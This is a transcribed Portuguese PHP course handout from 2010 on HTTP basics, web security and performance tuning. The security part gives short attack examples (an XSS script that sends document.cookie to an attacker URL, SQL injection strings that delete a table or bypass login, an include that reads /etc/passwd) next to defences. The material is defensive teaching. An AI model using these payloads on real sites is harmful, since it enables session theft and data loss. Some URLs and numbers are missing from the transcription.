Segurança e otimização de performance em Web Sites. Felipe Ribeiro felipernb@php.net

Transcrição

1 Segurança e otimização de performance em Web Sites Felipe Ribeiro felipernb@php.net 27 de Março de 2010

2 Sumário I Fundamentos 2 1 Como funciona a Web? 3 2 O protocolo HTTP Mensagem HTTP Cabeçalho da mensagem Métodos GET HEAD POST Outros métodos Códigos de retorno II Segurança 10 Motivação 11 3 XSS - Cross-Site Scripting Como evitar? Codificar caracteres especiais HTML Removendo tags HTML Utilizando a API filter do PHP SQL Injection Como evitar? Escape e filtragem da entrada Prepared statements Directory Traversal Como evitar? Session Hijacking Como evitar? III Otimização de performance 19 Motivação 20 7 Medição Benchmarking ab (Apache HTTP server benchmarking tool) Siege Profiling

3 8 Otimizações de Front-end Requisições HTTP CSS Sprites Compressão com GZIP Apache mod deflate Caching no browser Apache mod expires Folhas de estilo - CSS JavaScript Otimizações de Back-end Servidor Web PHP APC - Cache de opcode Dependências Arrays MySQL MyISAM InnoDB Índices Tipos de dados Caching APC Memcache Smarty Funky Caching Referências Bibliográficas 35 2

4 Parte I Fundamentos 3

5 Capítulo 1 Como funciona a Web? O que realmente acontece quando você navega até uma URL? Qual a responsabilidade de cada componente envolvido nesse processo? Você digita a URL no browser Tudo começa aqui: O browser consulta o endereço IP do domínio O primeiro passo da navegação é descobrir qual o endereço IP do domínio visitado. A consulta ao DNS funciona da seguinte maneira 1. Cache no browser - O browser mantém um cache de registros DNS por algum tempo. Se o domínio procurado estiver lá, ele automaticamente já pega o IP associado e tenta se conectar 2. Cache do S.O. - Se o cache do browser não tiver o registro procurado, o browser faz uma chamada ao sistema operacional, que tem o seu próprio cache resultante das consultas de todos os processos. 3. Não há cache local - Caso não haja cache no sistema operacional, ele irá invocar uma consulta na rede, que passará pelo roteador (que também tem seu próprio cache) e pelos provedores de internet (que também tem cache). 4. Não há cache no ISP - Caso o provedor de acesso não tenha também aquele registro em cache ele irá consultar os servidores de nomes a partir da raiz. A partir do servidor DNS dos domínios.com, até o servidor de nomes do Facebook. O browser envia uma requisição HTTP ao servidor Web Depois de ter o IP desejado, o browser solicita ao sistema operacional uma conexão (socket) TCP com o IP obtido e por default essa conexão é feita na porta 80 do servidor. O browser envia uma requisição HTTP via esse socket com o seguinte conteúdo: 4

6 Figura 1.1: Busca recursiva de DNS na hierarquia dos domínios GET / HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-us; rv:1.9.2) Gecko/ Firefox/3.6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-br,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO ,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Cookie: datr=[...]; locale=pt_br... Entenderemos melhor o protocolo HTTP no próximo capítulo. Mas o que essa requisição faz é basicamente solicitar ao host o conteúdo da página / que é o index configurado no servidor web e informa ao servidor dados sobre o browser, como idiomas suportados (para sites que são internacionalizados), os formatos de arquivo que aceita, o tipo de codificação (compressão) que suporta e informações sobre o usuário como identificação do browser e cookies. O servidor processa a requisição O servidor recebe a requisição GET, processa e envia a resposta. Pode parecer um processo simples, mas muita coisa pode acontecer nesse intervalo: Servidor Web O servidor web (Apache ou similar) recebe a requisição HTTP e decide qual request handler vai ser executado (PHP, Python, Ruby, etc...) ou se é um arquivo estático que não necessita de nenhum processamento (ex.: html estático, imagens, arquivos CSS ou Javascript). Esse mapeamento pode ser direto, ou seja, a URL reflete onde o arquivo está localizado no diretório disponibilizado pelo servidor web, Ex.: estará no diretório htdocs/imagens/logo.png ou pode ser feito através de Front Controllers que executam alguma lógica de mapeamento ou arquivos como o.htaccess do Apache com a utilização do mod rewrite, ou o web.xml de aplicações Java que mapeia urls em servlets. 5

7 Request handler Caso seja necessário, um request handler irá tratar a requisição, seus parâmetros e cookies. Ele irá ler e possivelmente alterar dados guardados no servidor, executará algum algoritmo (acessar banco de dados, web services, etc) e depois irá gerar uma saída (HTML, XML, etc) O servidor responde a requisição Depois de processada, a requisição é respondida com um código que indica o status (200 = OK), alguns cabeçalhos (meta-informação do conteúdo enviado) e o conteúdo propriamente dito: HTTP/ OK Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Sat, 01 Jan :00:00 GMT P3P: CP="DSP LAW" Pragma: no-cache Set-Cookie: reg_fb_ref=http%3a%2f%2fwww.facebook.com%2f; path=/; domain=.facebook.com test_cookie=1; path=/; domain=.facebook.com Content-Encoding: gzip Content-Type: text/html; charset=utf-8 X-Cnection: close Date: Sat, 20 Feb :38:10 GMT Content-Length: 8019 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" " <html xmlns=" xml:lang="pt" lang="pt" id="facebook" class=" no_js"> <head> [...] O browser começa a renderizar o HTML Mesmo antes de ter recebido o HTML por completo, o browser já inicia o processo de renderização do HTML 6

8 O browser envia requisições para os objetos incluídos no HTML Com a renderização do HTML, o browser percebe a existência de tags que requerem o carregamento de outras URLs, como as imagens, arquivos CSS, JavaScript, Flash, vídeos e etc. O browser irá fazer requisições para cada uma dessas URLs e passará por um processo semelhante ao da página HTML. Então o browser fará uma consulta DNS de cada URL (que podem estar no cache do browser caso estejam no mesmo domínio da requisição anterior), e fará a requisição para cada um dos arquivos. Ao obtê-los, o browser irá usá-los na renderização da página. Ou seja, as imagens apareceram nos espaços devidos, os arquivos CSS serão aplicados e formatarão a página, etc. 7

9 Capítulo 2 O protocolo HTTP O HyperText Transfer Protocol é um protocolo de aplicação responsável pelo tratamento de pedidos e respostas entre cliente e servidor na World Wide Web. Ele surgiu da necessidade de distribuir informações pela Internet e para que essa distribuição fosse possível foi necessário criar uma forma padronizada de comunicação entre os clientes e os servidores da Web e entendida por todos os computadores ligados à Internet. Com isso, o protocolo HTTP passou a ser utilizado para a comunicação entre computadores na Internet e a especificar como seriam realizadas as transacções entre clientes e servidores, através do uso de regras básicas. Este protocolo tem sido usado pela WWW desde A primeira versão de HTTP, chamada HTTP/0.9, era um protocolo simples para a transferência de dados no formato de texto ASCII pela Internet, através de um único método de requisição, chamado GET. A versão HTTP/1.0 foi desenvolvida entre 1992 e 1996 para suprir a necessidade de transferir não apenas texto. Com essa versão, o protocolo passou a transferir mensagens do tipo MIME44 (Multipurpose Internet Mail Extension) e foram implementados novos métodos de requisição, chamados POST e HEAD. No HTTP/1.1, versão actual do protocolo descrito na RFC 2616, [2] foi desenvolvido um conjunto de implementações adicionais ao HTTP/1.0, como por exemplo: o uso de conexões persistentes; o uso de servidores proxy que permitem uma melhor organização da cache; novos métodos de requisições; entre outros. 2.1 Mensagem HTTP O protocolo HTTP faz a comunicação entre o cliente e o servidor através de mensagens. O cliente envia uma mensagem de requisição de um recurso e o servidor envia uma mensagem de resposta ao cliente com a solicitação. Uma mensagem, tanto de requisição quanto de resposta, é composta por uma linha inicial, nenhuma ou mais linhas de cabeçalhos, uma linha em branco obrigatória finalizando o cabeçalho e por fim o corpo da mensagem, opcional em determinados casos. Nessa seção serão apresentados os campos que compõem uma mensagem mais detalhadamente. 2.2 Cabeçalho da mensagem O cabeçalho da mensagem (header) é utilizado para transmitir informações adicionais entre o cliente e o servidor. Ele é especificado imediatamente após a linha inicial da transação (método), tanto para a requisição do cliente quanto para a resposta do servidor, seguido de dois pontos (:) e um valor. Ex.: Content-Type: text/html; charset=utf-8 Esses cabeçalhos são utilizados para enviar informações adicionais sobre a mensagem transmitida (generalheader), a requisição e os clientes (request-header) que comunicam suas configurações e os formatos de documentos desejados como resposta. Além disso, são utilizados pelo servidor ao retornar o recurso no qual foi requisitado pelo cliente, para transmitir informações que descrevem as configurações do servidor e do recurso identificado pelo URI de requisição, e que não pertence à linha de status (responseheader). 8

10 2.3 Métodos O protocolo HTTP define oito métodos que indicam a ação a ser realizada no recurso especificado. O método determina o que o servidor deve fazer com o URL fornecido no momento da requisição de um recurso. Um servidor HTTP deve implementar ao menos os métodos GET e HEAD. Os browsers normalmente só implementam os métodos GET, POST e HEAD GET Solicita algum recurso como um arquivo ou um script (qualquer dado que estiver identificado pelo URI) por meio do protocolo HTTP. Por exemplo, segue abaixo uma comunicação entre um cliente e um servidor HTTP. O servidor possui a URL porta 80. O pedido do cliente (seguido por uma linha em branco, de maneira que o pedido termina com um newline duplo, cada um composto por um carriage return seguido de um Line Feed): GET /index.html HTTP/1.1 Host: A resposta do servidor (seguida por uma linha em branco e o texto da página solicitada): HTTP/ OK Date: Mon, 23 May :38:34 GMT Server: Apache/ (Unix) (Red-Hat/Linux) Last-Modified: Wed, 08 Jan :11:55 GMT Etag: "3f80f-1b6-3e1cb03b" Accept-Ranges: bytes Content-Length: 438 Connection: close Content-Type: text/html; charset=utf-8 Conteúdo HEAD Variação do GET em que o recurso não é retornado. É usado para obter metainformações por meio do cabeçalho da resposta, sem ter que recuperar todo o conteúdo POST Envia dados para serem processados (por exemplo, dados de um formulário HTML) para o recurso especificado. Os dados são incluídos no corpo da mensagem. Sua utilização em uma requisição ocorre quando é necessário enviar dados ao servidor para serem processados, geralmente por um programa script identificado no Request- URI. Uma requisição por meio desse método sempre requer que as informações submetidas sejam incluídas no corpo da mensagem e formatadas como uma query string, além de conter cabeçalhos adicionais especificando seu tamanho (Content-Length) e seu formato (Content-Type). Por exemplo: POST /index.html HTTP/1.0 Accept: text/html If-modified-since: Sat, 29 Oct :43:31 GMT Content-Type: application/x-www-form-urlencoded Content-Length: 30 Nome=NamePessoa&Idade=99&Curso=Computacao Outros métodos PUT Envia certo recurso. 9

11 DELETE Exclui o recurso. TRACE Ecoa o pedido, de maneira que o cliente possa saber o que os servidores intermediários estão mudando em seu pedido. OPTIONS Recupera os métodos HTTP que o servidor aceita. CONNECT Serve para uso com um proxy que possa se tornar um túnel SSL (um túnel pode ser usado, por exemplo, para criar uma conexão segura). 2.4 Códigos de retorno A linha inicial de uma resposta HTTP indica ao cliente se sua requisição foi bem sucedida ou não. Essa situação é fornecida através de um código de retorno (Status-Code) e uma frase explicativa (Reason-Phrase). O código de status é formado por três dígitos e o primeiro dígito representa a classe que pertence classificada em cinco tipos: 1xx: Informational (Informação) utilizada para enviar informações para o cliente de que sua requisição foi recebida e está sendo processada; 2xx: Success (Sucesso) indica que a requisição do cliente foi bem sucedida; 3xx: Redirection (Redirecionamento) informa a ação adicional que deve ser tomada para completar a requisição; 4xx: Client Error (Erro no cliente) avisa que o cliente fez uma requisição que não pode ser atendida; 5xx: Server Error (Erro no servidor) ocorreu um erro no servidor ao cumprir uma requisição válida. 10

12 Parte II Segurança 11

13 Motivação Segurança da informação é um assunto de grande importância hoje em dia. Dados trafegam livremente entre clientes e servidores. Como podemos melhorar um pouco o nosso sistema para estar preparado para possíveis ataques? Esse capítulo trata de alguns dos tipos de ataques mais comuns em sistemas Web e como tentar evitá-los. 12

14 Capítulo 3 XSS - Cross-Site Scripting Cross-Site Scripting (XSS) é uma das vunerabilidades mais comuns na Web hoje. Consiste em um ataque simples onde se insere HTML, CSS ou JavaScript na base de dados de uma aplicação, de forma que ela seja mostrada no browser de outros usuários permitindo o acesso a cookies ou redirecionamento de informações confidenciais para outros domínios. Exemplo: Um site hipotético ( tem um sistema de comentários, ou um fórum, que não filtra o que é inserido pelos seus usuários. Um usuário X insere no seu post um código HTML (ou Javascript) que, por não ser filtrado, é executado no browser dos outros usuários. Supondo que esse usuário colocou no seu comentário o seguinte código: <script> document.location = + document.cookie </script> Todos os usuários que abrirem a página onde o seu comentário é exibido, irão ser redirecionados para a url especificada ( cookies.php) e os valores dos cookies que esse usuário tem relacionados ao site atacado irão ser repassados. Como o ID da sessão por exemplo: cookies.php?cookies, que permitirá ao atacante tentar fazer Session Hijacking (que veremos mais a frente). 3.1 Como evitar? Existem várias maneiras de se prevenir contra antaques de XSS Codificar caracteres especiais HTML Em PHP isso é algo muito simples de ser feito, utilizando a função: htmlspecialchars $raw_input = <a href=" src="click_me.gif"></a> ; $encoded_input = htmlspecialchars($raw_input); echo $encoded_input; //<a href=" src="click_me.gif" ></ a> Essa função traduz os caracteres especiais html para a codificação que faz com que essa string seja tratada pelo browser como um texto comum, e não marcação HTML As traduções executadas são: & (ampersand) torna-se & 13

15 < (menor que) torna-se < > (maior que) torna-se > Removendo tags HTML PHP também tem a função strip_tags que remove de uma string todas as tags HTML $input = <b>texto em negrito</b> <img src="imagem.gif" /> ; $input_sem_tags = strip_tags($input); // Contem apenas: "Texto em negrito" Utilizando a API filter do PHP PHP 5.2 trouxe nativamente uma API voltada para validação e sanitização de strings, é a API filter (http: //php.net/filter) Utilizando-a, além de validar dados como e URLs, também pode-se remover as tags de uma string. $campo_filtrado = filter_input(input_post, campo_do_form, FILTER_SANITIZE_STRING); 14

16 Capítulo 4 SQL Injection Semelhante ao XSS, o SQL Injection também é resultado da injeção de código malicioso, mas nesse caso é o código que é executado nas consultas SQL. Imagine o seguinte código ingênuo : noticia.php <?php... $query = "SELECT * FROM noticias WHERE id= ". $_GET[ id ]." "; mysql_query($query); Aparentemente, se sempre o parâmetro id vier na requisição como o programador espera, não haverá nenhum problema. Porém um atacante pode inserir código que irá ser executado pelo MySQL. Exemplo: ;DELETE FROM noticias; Isso fará com que o código executado no banco seja: SELECT * FROM noticias WHERE id= 1 ; DELETE FROM noticias; Fazendo com que os dados da tabela sejam removidos. Outro exemplo: Suponha que no sistema de login desse site, a senha é salva na tabela de usuários sem nenhum tipo de criptografia, e a consulta que viabiliza a autenticação é feita da seguinte forma: login.php <?php... $query = "SELECT * FROM usuarios WHERE login= ". $_POST[ id ]." AND senha= ".$_POST[ senha ]" "; mysql_query($query); Suponha que o usuário colocou no POST login: string qualquer senha: OR 1 = 1 De forma que a consulta executada será: SELECT * FROM usuarios WHERE login= string qualquer AND senha= OR 1 = 1 Que retornará todos os registros da tabela, e dependendo de como o sistema estiver implementado, você será autenticado como um dos usuários retornados. 15

17 4.1 Como evitar? Escape e filtragem da entrada Antes de enviar para a query, faça um tratamento da string recebida como entrada. Existem várias maneiras de fazer isso: mysql escape string Essa função presente na biblioteca nativa de suporte ao MySQL no PHP faz escape de comandos SQL em uma query mysql real escape string Tem funcionalidade análoga à primeira, porém conecta-se ao banco MySQL e o próprio banco faz o escape da string. Fazendo cast onde é possível Em alguns casos, você espera que um parâmetro seja um número (como um ID por exemplo), então você pode fazer um cast (int) $ GET[ id ] que pegará só a parte da string que contém um número Prepared statements Prepared statement certamente é a melhor solução para evitar SQL Injection. É normalmente implementado por camadas de abstração de SGBDs, está presente na maioria de frameworks e bibliotecas de ORM, e podemos usar no PHP também através do PDO. $db = new PDO("mysql:host=localhost;dbname=database;","dbuser","dbpasswd"); $statement = $db->prepare("select * FROM usuarios WHERE login = :login "); $statement->bindparam(":login",$_post[ login ],PDO::PARAM_STR); $statement->execute(); $result = $statement->fetch(); O que as prepared statements fazem é montar a estrutura da consulta de forma que seja flexível a recepção dos valores variáveis. Ou seja, o espaço atribuido a uma variável é substituido por uma versão escapada do valor que é passado no bind. 16

18 Capítulo 5 Directory Traversal O ataque de Directory Traversal (ou path traversal) consiste em se aproveitar de falhas de configuração do ambiente para acessar arquivos do servidor onde o site está sendo executado. Esse problema ocorre normalmente quando na estrutura do site existe algum arquivo base, que dependendo dos parâmetros que recebe na requisição insere outros arquivos no seu conteúdo. Por exemplo em um caso extremo: Onde o código seria mais ou menos assim: base.php <html> [...] layout base do site [...] <?php include($_get[ corpo ]);?> [...] layout base do site [...] </html> A princípio o atacante pode mudar o valor de corpo (para xpto.php por exemplo) para ver a mensagem de erro e saber o path do arquivo atual: Warning: include(xpto.php) [function.include]: failed to open stream: No such file or directory in /home2/programador ingenuo/public html/index.php on line 111 Sabendo disso, o atacante pode tentar acessar arquivos como o /etc/passwd E caso o servidor não esteja configurado para restringir o acesso a outros arquivos a resposta será algo como: <html> [...] layout base do site [...] root:fi3sed95ibqr6:0:1:system Operator:/:/bin/ksh daemon:*:1:1::/tmp: programador_ingenuo:f8fk3j1oif31.:182:100:developer:/home/programador_ingenuo/:/bin/csh [...] layout base do site [...] </html> 17

19 5.1 Como evitar? Não fazer include de arquivos baseado em parâmetros passados pelo usuário Ou fazer uma validação do que é passado Ou configurar o parâmetro open basedir do PHP para restringir os diretórios acessíveis pelo seu script 18

20 Capítulo 6 Session Hijacking Sessões são informações gravadas temporariamente no servidor que guardam dados referentes à navegação de um usuário. Pela natureza stateless do HTTP, o usuário precisa sempre identificar qual é a sua sessão, e isso é feito normalmente através de cookies que armazenam uma identificação (id) da sessão. Se um usuário, de alguma maneira, tem acesso ao id de sessão de outro, ele pode alterar o seu cookie para ter o valor do ID do outro usuário e assumir a sessão dele no site. 6.1 Como evitar? Não existe solução 100% segura, mas a que vem mostrando melhores resultados é o fato de gerar um novo ID da sessão a cada requisição, pois isso diminui drasticamente o tamanho do intervalo que o atacante tem para fazer o seu ataque. PHP tem uma maneira muito simples de fazer isso: session_regenerate_id(true); 19

21 Parte III Otimização de performance 20

22 Motivação Em um mundo onde a cada dia mais pessoas utilizam aplicações Web, é importante se preocupar com o bom uso dos recursos de hardware disponíveis para proporcionar ao usuário a melhor experiência de uso possível. E uma boa experiência de uso começa com uma alta responsividade. Os usuários estão cada vez menos tolerantes com lentidão, querem a resposta certa e rápida, mas como projetar esses sistemas de alta performance? Será que basta acrescentar hardware? Nesse curso estudaremos maneiras de otimizar sistemas Web em PHP de forma a maximizar a performance em nível de software e sem abrir mão da qualidade do código. Analisaremos o que torna um site lento, o que podemos fazer para torná-lo mais rápido e quais ferramentas podemos utilizar. 21

23 Capítulo 7 Medição Otimização prematura é a raiz de todos os problemas Essa frase do célebre Donald Knuth mostra a realidade de muitos sistemas que são desenvolvidos usando técnicas de otimização baseadas em adivinhação dos desenvolvedores. Em muitos casos abre-se mão da qualidade do código para se escrever algo que acha-se que é mais rápido, porém na maioria das vezes essas otimizações representam uma melhoria insignificante de performance e comprometem fortemente a legibilidade e manutenibilidade do código, como por exemplo, quando abre-se mão de orientação a objetos (e consequentemente de todas as boas práticas inerentes ao uso de objetos) e usa-se uma abordagem procedural, achando que isso influenciará sensivelmente no tempo de execução dos scripts. O que não é verdade na realidade do PHP. É importante usar de artefatos de monitoramento e medição para análise de performance para assim identificar-se os gargalos e aí sim estudar a melhor maneira de otimizá-los. Na maioria das vezes, uma pequena porção de código é responsável pela maior parte do tempo gasto em um script, e é nessa pequena porção de código que vale a pena focar a otimização. O PHP raramente é o gargalo de um sistema, a não ser no caso de algoritmos de alta complexidade que usam pouco I/O. Normalmente, a maior parte do tempo gasto no processamento de uma requisição HTTP é gasta na rede (transferência dos arquivos) e nas consultas a bancos de dados. Nesse curso, utilizaremos algumas técnicas e ferramentas que nos auxiliarão a identificar os gargalos, focar os esforços nesses pontos críticos e não perder tempo tentando fazer micro-otimizações que não influenciam no resultado final. O processo de medição consiste principalmente de duas técnicas: Benchmarking e Profiling. 7.1 Benchmarking Benchmark é o tipo de medição que responde a pergunta: Quão rápido é esse sistema?, onde mede-se num nível macro sem se aprofundar para identificar os gargalos, mas apenas tem-se alguma métrica que serve como parâmetro de comparação com outras rotinas ou com a própria rotina após a otimização. No caso de sistemas Web, a métrica mais comum em benchmarks é a de transações por segundo. Ou seja, fazemos testes de carga e medimos quantas requisições a nossa aplicação consegue responder por segundo ab (Apache HTTP server benchmarking tool) O ab ( é a ferramenta de benchmarking que normalmente acompanha o servidor Web Apache e que permite você executar testes de carga em qualquer servidor e gerar relatório dos tempos de resposta para as requisições. O uso do ab é simples, os parâmetros são intuitivos e os resultados são claros. $ ab -c 10 -t 30 -k Essa linha de comando executa o ab e faz com que ele abra 10 conexões paralelas (-c 10) utilizando KeepAlive (-k) e faça requests durante 30 segundos (-t 30). A documentação de todos os parâmetros pode ser obtida executando man ab. 22

24 A saída dessa execução é a seguinte: This is ApacheBench, Version 2.3 <$Revision: $> Copyright 1996 Adam Twiss, Zeus Technology Ltd, Licensed to The Apache Software Foundation, Benchmarking localhost (be patient) Completed 5000 requests Completed requests Completed requests Finished requests Server Software: Apache/ Server Hostname: localhost Server Port: 80 Document Path: Document Length: /~felipe/phpinfo.php bytes Concurrency Level: 10 Time taken for tests: seconds Complete requests: Failed requests: 3100 (Connect: 0, Receive: 0, Length: 3100, Exceptions: 0) Write errors: 0 Total transferred: bytes HTML transferred: bytes Requests per second: [#/sec] (mean) Time per request: [ms] (mean) Time per request: [ms] (mean, across all concurrent requests) Transfer rate: [Kbytes/sec] received Connection Times (ms) min mean[+/-sd] median max Connect: Processing: Waiting: Total: Percentage of the requests served within a certain time (ms) 50% 14 66% 15 75% 16 80% 18 90% 23 95% 28 98% 45 99% % 225 (longest request) O ab ainda permite que a saída seja gerada em diferentes formatos que permitem a criação de gráficos (gnuplot) ou relatórios em HTML Siege O Siege ( segue a mesma ideia do ab, porém dispõe de mais parâmetros de execução. Como por exemplo, permite criar um arquivo texto com uma lista de URLs do seu site e ao 23

25 passar como parâmetro, o Siege acessará essas URLs em ordem aleatória, simulando o comportamento real que o seu site terá quando estiver em produção. Tendo em vista que usuários diferentes visualizarão páginas diferentes em intervalos de tempo diferentes. Outro parâmetro útil do Siege é o -b que permite que a execução seja feita no modo benchmarking que não permite nenhum atraso entre uma requisição e outra, testando realmente a aplicação no seu limite. Para executar o comando semelhante ao feito anteriormente com o ab, no Siege seria assim: $ siege -c10 -t30s -b E a saída: ** SIEGE 2.69 ** Preparing 10 concurrent users for battle. The server is now under siege... Lifting the server siege... done. Transactions: hits Availability: % Elapsed time: secs Data transferred: MB Response time: 0.02 secs Transaction rate: trans/sec Throughput: MB/sec Concurrency: 9.78 Successful transactions: Failed transactions: 0 Longest transaction: 0.63 Shortest transaction: Profiling Profiling, ou perfilamento, é a técnica de medição que responde a pergunta: Por que esse sistema tem essa performance?. Ou seja, é uma análise interna do código registrando quanto tempo é gasto na execução de cada trecho e assim é possível identificar-se os gargalos do sistema. O profiler mais popular entre a comunidade PHP é o do Xdebug, ele faz a geração de logs no formato cachegrind que podem ser visualizados em ferramentas como o KcacheGrind (Linux, KDE), WinCacheGrind (Windows), MacCallGrind (Mac OSX) ou o Webgrind que é uma ferramenta Web feita em PHP que interpreta arquivos do tipo CacheGrind e mostra um relatório das chamadas de funções/métodos, com a quantidade de chamadas e o tempo que foi necessário para executar as chamadas. Para habilitar o profiler você precisa ter o Xdebug instalado, o que pode ser feito compilando o código fonte, via pecl, via apt-get no Linux (baseado em Debian) ou usando módulos pre-compilados para Windows (DLL). Após instalado é necessário que você faça alguns ajustes no seu php.ini. Caso queira que toda execução de script gere um arquivo cachegrind, defina a configuração: xdebug.profiler_enable = 1 Ou, caso queira que o arquivo só seja gerado no momento que você quiser, use a configuração: xdebug.profiler_enable_trigger = 1 E para chamar o profiler você precisará passar o parâmetro XDEBUG PROFILE por GET ou POST. Ex.: 24

26 Figura 5.1: Screenshot do KCacheGrind mostrando o log da execução de um sistema com Zend Framework. Figura 5.2: Outra opção de visualização, multiplataforma, é o Webgrind. Existem também ferramentas para a medição da performance de front-end do site: Firebug - YSlow - Page Speed - E embora essa medição seja dependente do ambiente usado pelo visitante (configurações de hardware, browser, largura de banda, etc), podemos otimizar com regras genéricas. 25

27 Figura 5.3: Firebug mostra o tempo gasto no carregamento de cada componente (request, processamento e download) Figura 5.4: YSlow mostra estatísticas e como melhorar 26

28 Capítulo 8 Otimizações de Front-end 8.1 Requisições HTTP Estudos têm mostrado que apenas 10 a 20% do tempo gasto para o carregamento de uma página web se deve ao processamento de um script PHP executando algoritmos, accesando bancos de dados e webservices. Os 80 a 90% restantes são gastos em requisições HTTP para recuperar os elementos (Imagens, CSS, scripts, Flash, etc) referidos no HTML. Dessa forma, uma maneira simples de melhorar o tempo de resposta é reduzir o número de componentes, e por consequência, o de requisições HTTP. Isso não significa que você precisará remover elementos da sua página, apenas estruturá-los de maneira diferente. Cada requisição HTTP implica no envio e recebimento de cabeçalhos além dos bytes da informação propriamente dita. E muitas vezes também é necessário a abertura de uma nova conexão com o servidor CSS Sprites Os CSS Sprites (ou Estampas CSS) permitem que várias imagens sejam agrupadas como uma única imagem, e o posicionamento da parte visível é definido via CSS. Essa técnica já era comum no desenvolvimento de jogos 2D, onde todas as poses dos personagens eram gravadas em uma única imagem e no momento de exibir não era necessário recarregar arquivos, apenas especificar as coordenadas (X,Y) altura e largura que devem ser exibidos. Além da vantagem de ser apenas UMA requisição para carregar todas as imagens, ainda tem a vantagem que o tamanho dessa imagem é menor do que se somássemos os tamanhos das imagens que a compõem. Gerando os sprites Existem ferramentas online que fazem o trabalho para você: Gerador de Sprites CSS - SpriteMe - Entre outras... 27

29 O que essas ferramentas fazem, é basicamente copiar várias imagens pequenas em uma imagem grande, e definir regras CSS que mostrem em um elemento HTML apenas o pedaço da imagem que realmente interessa naquela parte da página. Por exemplo: Figura 8.1: Sprites CSS combinam múltiplas imagens numa única <style> #navbar span { width:31px; height:31px; display:inline; float:left; background-image:url(/images/spritebg.gif); }.home { background-position:0 0; margin-right:4px; margin-left: 4px;}.gifts { background-position:-32px 0; margin-right:4px;}.cart { background-position:-64px 0; margin-right:4px;}.settings { background-position:-96px 0; margin-right:4px;}.help { background-position:-128px 0; margin-right:0px;} </style> <div id="navbar" style="background-color: #F4F5EB; border: 2px ridge #333; width: 180px; height: 32px; padding: 4px 0 4px 0;"> <a href="javascript:alert( Home )"><span class="home"></span></a> <a href="javascript:alert( Gifts )"><span class="gifts"></span></a> <a href="javascript:alert( Cart )"><span class="cart"></span></a> <a href="javascript:alert( Settings )"><span class="settings"></span></a> <a href="javascript:alert( Help )"><span class="help"></span></a> </div> O resultado desse código é que cada <span> será renderizado como se fosse uma imagem pequena de 31 X 31px 8.2 Compressão com GZIP Apache mod deflate O mod deflate permite compactar os arquivos com GZIP antes de enviar na rede, caso o browser que fez a requisição suporte a compressão (e a maioria dos browsers modernos suporta). 28

30 Para configurar o mod deflate, que normalmente já acompanha o pacote padrão do Apache, basta você habilitá-lo com o comando: a2enmod deflate Ou habilitando o módulo manualmente no httpd.conf. E dentro da pasta de configuração dos módulos do Apache (normalmente /etc/apache2/mods-available), edite o arquivo deflate.conf para setar quais tipos de arquivo você deseja compactar. Normalmente só se compactam arquivos de texto (html, xml, css, javascript) e o arquivo de configuração ficará com o seguinte conteúdo: <IfModule mod_deflate.c> AddOutputFilterByType DEFLATE text/html text/plain text/xml text/css application/javascript </IfModule> 8.3 Caching no browser Apache mod expires O módulo expires permite configurar as opções dos cabeçalhos HTTP Expires e Cache-Control, permitindo um melhor gerenciamento do que é guardado em Cache no cliente para evitar transferências desnecessárias. A instalação é análoga ao mod deflate: a2enmod expires E a configuração pode ser feita para todos os tipos de arquivo, ou ser diferenciada para cada um e levando em conta parâmetros como a data de acesso do usuário ou data de modificação feita pelo desenvolvedor: ExpiresActive On ExpiresDefault "access plus 30 days" ExpiresByType text/html "access plus 1 month 15 days 2 hours" ExpiresByType image/gif "modification plus 5 hours 3 minutes" 8.4 Folhas de estilo - CSS Colocar o código CSS no início do arquivo dá ao visitante uma impressão de maior rapidez. Já que o browser começa a renderizar o HTML mesmo antes de terminar o seu carregamento, tendo o CSS como um dos primeiros elementos carregados ajuda a renderizar os elementos já corretamente formatados. Dando ao visitante a sensação de um carregamento mais rápido. Coloque também a folha de estilo em um arquivo externo, isso possibilita o cache e dispensa a necessidade de recarregar os bytes referentes ao estilo em cada página. 8.5 JavaScript Ao contrário das folhas de estilo é recomendado colocar os scripts, sempre que possível, como um dos últimos elementos do HTML. Isso porque o carregamento e execução de um script monopoliza o browser, de forma que nenhum outra atividade seja feita em paralelo. Nada é baixado nem renderizado até que o script seja carregado e executado. Coloque também os script em um arquivo externo, isso possibilita o cache e dispensa a necessidade de recarregar os bytes referentes aos scripts em cada página. 29

31 Capítulo 9 Otimizações de Back-end Alguns ajustes no ambiente podem melhorar a performance da aplicação de diversas maneiras. 9.1 Servidor Web Como na maioria dos casos a transferência de arquivos via rede é responsável pela maior parte do tempo de resposta de uma requisição, existem ajustes no Apache que podem otimizar o uso da rede - alguns deles foram apresentados anteriormente. É interessante manter um servidor Web exclusivo para conteúdo estático, isso permite um bom balanceamento de carga e esse servidor de arquivos estáticos não precisa de todo o poder do Apache e poderia rodar algo mais leve como o Lighttpd. 9.2 PHP PHP dificilmente é o gargalo, estima-se que cerca de 80 a 90% do tempo é gasto no carregamento do frontend, mas sempre existem riscos de algoritmos não estarem bem implementados e aumentarem muito o tempo e a quantidade de processamento e memória necessários APC - Cache de opcode Quando você acessa uma página PHP, o que acontece por padrão é que o arquivo é compilado, é gerado um opcode e esse opcode é interpretado. No entanto a etapa de compilação pode ser evitada, sendo feita apenas uma vez e o opcode permanece em cache até que o arquivo seja alterado. Existe um módulo do PHP chamado APC Alternative PHP Cache ( que permite fazer esse tipo de cache. E habilitá-lo é muito simples: Basta instalar o módulo (via apt-get ou pecl) e por default esse cache já é feito. Existe também a diretiva apc.stat no arquivo de configuração do PHP que se for setada para off torna o processo ainda mais rápido, pois uma vez que o arquivo esteja em cache, não haverá mais checagem se existe uma versão mais nova. O que força um reinicio do servidor caso hajam mudanças nos arquivos e é uma opção que só é viável no ambiente de produção Dependências No PHP normalmente importamos classes, funções e bibliotecas completas de arquivos externos com funções como include e require. Muitas vezes, para evitar problemas de incluir mais de uma vez o mesmo arquivo e causar erro com a declaração de uma classe, função ou constante mais de uma vez, utilizamos o include once ou o require once. Essas funções são relativamente lentas pois antes de inserir o arquivo chamado elas checam numa tabela onde registram tudo que é importado, além de que cada arquivo incluído é compilado e interpretado, adicionando mais requisitos de memória e processamento. 30

